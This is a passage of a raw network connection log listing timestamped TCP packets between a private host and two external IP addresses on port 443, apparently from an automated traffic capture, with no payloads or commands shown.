Nov 16, 2024 04:33:57.347264051 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.347383022 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.347470999 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.347584009 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.347620964 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349005938 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349159956 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349231005 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.349304914 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.349304914 CET	49850	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.349345922 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349370003 CET	443	49850	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349487066 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349540949 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349670887 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349698067 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.349735022 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.349760056 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.349760056 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.349783897 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.349798918 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.351409912 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.351450920 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.351490974 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.351515055 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.351522923 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.351577044 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.351780891 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.351787090 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.351799965 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.351813078 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.426743984 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.426800966 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.426944971 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.426970005 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.427015066 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.427129030 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.427160978 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.427175999 CET	49849	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.427184105 CET	443	49849	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.429522991 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.429625034 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.429717064 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.429836988 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.429858923 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:57.638348103 CET	49848	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:57.638418913 CET	443	49848	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.061106920 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.061755896 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.061804056 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.062830925 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.062858105 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.083503008 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.084042072 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.084130049 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.084311008 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.084326029 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.088897943 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.089127064 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.089165926 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.089411974 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.089418888 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.091645956 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.091859102 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.091890097 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.092130899 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.092142105 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.161706924 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.162311077 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.162404060 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.162609100 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.162623882 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.190759897 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.190881968 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.191057920 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.191059113 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.191109896 CET	49852	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.191131115 CET	443	49852	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.193492889 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.193541050 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.193790913 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.193790913 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.193857908 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.215780020 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.215940952 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.216033936 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.216092110 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.216092110 CET	49855	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.216125011 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.216152906 CET	443	49855	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.217894077 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.217982054 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.218066931 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.218153954 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.218174934 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.218978882 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.219137907 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.219194889 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.219234943 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.219234943 CET	49854	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.219253063 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.219265938 CET	443	49854	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.220895052 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.220937014 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.221121073 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.221121073 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.221184015 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.223614931 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.223771095 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.223845005 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.223887920 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.223887920 CET	49853	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.223910093 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.223932028 CET	443	49853	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.225703955 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.225735903 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.225800037 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.225889921 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.225902081 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.292594910 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.292804003 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.292999029 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.293095112 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.293095112 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.293148994 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.293180943 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.296072960 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.296156883 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.296232939 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.296341896 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.296363115 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.429529905 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:58.429626942 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:58.429732084 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:58.430038929 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:58.430067062 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:58.952220917 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.953016996 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.953079939 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.953572989 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.953587055 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.960062027 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.960524082 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.960556030 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.961154938 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.961182117 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.970931053 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.971182108 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.971211910 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.971474886 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.971482992 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.980709076 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.981040001 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.981070995 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:58.981690884 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:58.981715918 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.042494059 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.043565035 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.043622017 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.044114113 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.044128895 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.084821939 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.084996939 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.085256100 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.085351944 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.085352898 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.085401058 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.085434914 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.087677956 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.087766886 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.087866068 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.087981939 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.088004112 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.098364115 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.098432064 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.098510027 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.100049019 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.100049019 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.100074053 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.100095987 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.101958036 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.102241039 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.102323055 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.102426052 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.102446079 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.102458000 CET	49860	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.102464914 CET	443	49860	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.102514982 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.102602005 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.104017019 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.104060888 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.104103088 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.104154110 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.104180098 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.104180098 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.104242086 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.104269981 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.113971949 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.114042997 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.114167929 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.114423990 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.114423990 CET	49859	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.114432096 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.114442110 CET	443	49859	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.115974903 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.115998030 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.116087914 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.116211891 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.116238117 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.178292990 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.178452969 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.178821087 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.178944111 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.178944111 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.178985119 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.179013968 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.180742979 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.180824041 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.180922031 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.181056976 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.181087017 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.285643101 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.285715103 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.287333965 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.287344933 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.287667036 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.295037031 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.339334011 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.577097893 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.577186108 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.577241898 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.577272892 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.577303886 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.577328920 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.577379942 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.577584982 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.577655077 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.577670097 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.577706099 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.577717066 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.578342915 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.579277992 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.581165075 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.581197023 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.581224918 CET	49862	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:59.581240892 CET	443	49862	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:59.822288990 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.822877884 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.822940111 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.823142052 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.823157072 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.835896969 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.836282015 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.836311102 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.836663961 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.836672068 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.849880934 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.850217104 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.850275993 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.850815058 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.850828886 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.861736059 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.863764048 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.863821983 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.864151001 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.864165068 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.953351974 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.953644037 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.953674078 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.953974009 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.953984022 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.959817886 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.960027933 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.960206985 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.960290909 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.960290909 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.960335016 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.960364103 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.962510109 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.962601900 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.963071108 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.963176966 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.963202000 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.965401888 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.965575933 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.966200113 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.966201067 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.966201067 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.968939066 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.969007969 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.969104052 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.969208956 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.969229937 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.980051041 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.980307102 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.980381966 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.980427027 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.980427027 CET	49865	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.980458975 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.980480909 CET	443	49865	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.983115911 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.983140945 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.983201981 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.983310938 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.983350039 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.992911100 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.992970943 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.993021965 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.993150949 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.993192911 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.993220091 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.993236065 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.995024920 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.995054007 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:59.995135069 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.995210886 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:59.995224953 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.091407061 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.091634989 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.091943026 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.092020988 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.092062950 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.092094898 CET	49867	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.092111111 CET	443	49867	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.093835115 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.093918085 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.094165087 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.094166040 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.094284058 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.279278040 CET	49864	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.279355049 CET	443	49864	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.706593990 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.707154036 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.707226038 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.707557917 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.707571983 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.722799063 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.723103046 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.723177910 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.723412037 CET	49870	443	192.168.2.4	13.107.246.45
